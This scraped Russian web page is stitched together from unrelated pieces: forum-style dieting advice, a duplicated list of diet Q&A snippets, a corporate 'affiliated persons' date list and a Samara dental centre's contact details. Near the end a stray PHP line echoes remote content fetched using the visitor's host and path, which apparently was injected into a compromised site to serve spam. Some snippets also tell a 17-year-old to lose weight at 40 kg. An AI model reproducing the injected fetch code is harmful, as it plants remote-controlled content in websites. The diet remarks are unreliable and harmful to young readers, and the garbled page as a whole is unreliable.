Нормальный вес, дело в том, что ты еще растешь, и организм эти кг, которые тебе кажутся лишними заберет в рост) Я хочу тебе дать совет, чтобы всю жизнь не испытывать проблем с весом, приучи себя сейчас делать зарядку, приседания, пресс и прыжки на скакалке, ну и побольше ходи пешком) и ты себе потом спасибо скажешь, когда твои ровестницы после 20 лет начнут жаловаться на целлюлит, лишние кг, сидячую работу, и лень)))

  • Диет сестра в детском саду - Помогите найти программу для составления меню в детском саду диет сестра!!! Загляните сюда Или введите в поисковик №Прог
  • Майка для похудения неопрен - Кто обматывался пленкой при беге??какие результаты???стоит ли пробывать или лучше обычный бег без пленки? Нас в армии в
  • Кофейня диета - Сижу на диете, но идём в кафе. Не уверена что есть буду только салатики. Стоит ли идти? Никуда не ходи. Сиди дома. А жиз
  • Как похудеть при мало подвижном образе жизни - Как похудеть с помощью соды? На голову сыпь и кипяточком поливай. Это полный бред и развод Высыпать соду и съесть коробк
  • Диета шеф повар 4 недели - Киньтесь в меня ссылками. Диета Дюкана. Подскажите сайты, где есть рецепты блюд по диете Дюкана. Вкусные и простые. Ой з
  • Диета по группе крови мнение специалиста - Питание по группе крови - миф или реальность? Желательно мнение специалистов. Бред лечебные диеты тута http://www.drdaut
  • Диета ковалькова по дням - Надо скинуть 8 кг. какую диету лучше? калории считать, английскую? или диету доктора ковалькова? Лучше всего ограничиват
  • Эллиптический тренажер для похудения для каких групп мышц - Можно ли набрать мышечную массу, занимаясь на эллиптическом тренажере? Или с помощью него можно только похудеть? А бегат
  • Малахов-Водная диета - Пост. Ребята, я первый раз хочу попробовать выдержать большой пост. Скажите, что можно кушать? Баранки Малахов разработа
  • Калькуляторы для похудения - Какой должен быть вес если рост 168, 17 лет? Кому должен? что за чушь спрашивают эти малолетки? * 40 кг. иди худей Для н
  • Диет сестра в детском саду - Помогите найти программу для составления меню в детском саду диет сестра!!! Загляните сюда Или введите в поисковик №Прог
  • Майка для похудения неопрен - Кто обматывался пленкой при беге??какие результаты???стоит ли пробывать или лучше обычный бег без пленки? Нас в армии в
  • Кофейня диета - Сижу на диете, но идём в кафе. Не уверена что есть буду только салатики. Стоит ли идти? Никуда не ходи. Сиди дома. А жиз
  • Как похудеть при мало подвижном образе жизни - Как похудеть с помощью соды? На голову сыпь и кипяточком поливай. Это полный бред и развод Высыпать соду и съесть коробк
  • Диета шеф повар 4 недели - Киньтесь в меня ссылками. Диета Дюкана. Подскажите сайты, где есть рецепты блюд по диете Дюкана. Вкусные и простые. Ой з
  • Диета по группе крови мнение специалиста - Питание по группе крови - миф или реальность? Желательно мнение специалистов. Бред лечебные диеты тута http://www.drdaut
  • Диета ковалькова по дням - Надо скинуть 8 кг. какую диету лучше? калории считать, английскую? или диету доктора ковалькова? Лучше всего ограничиват
  • Эллиптический тренажер для похудения для каких групп мышц - Можно ли набрать мышечную массу, занимаясь на эллиптическом тренажере? Или с помощью него можно только похудеть? А бегат
  • Малахов-Водная диета - Пост. Ребята, я первый раз хочу попробовать выдержать большой пост. Скажите, что можно кушать? Баранки Малахов разработа
  • Калькуляторы для похудения - Какой должен быть вес если рост 168, 17 лет? Кому должен? что за чушь спрашивают эти малолетки? * 40 кг. иди худей Для н
Какие батончики можно есть при диете
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта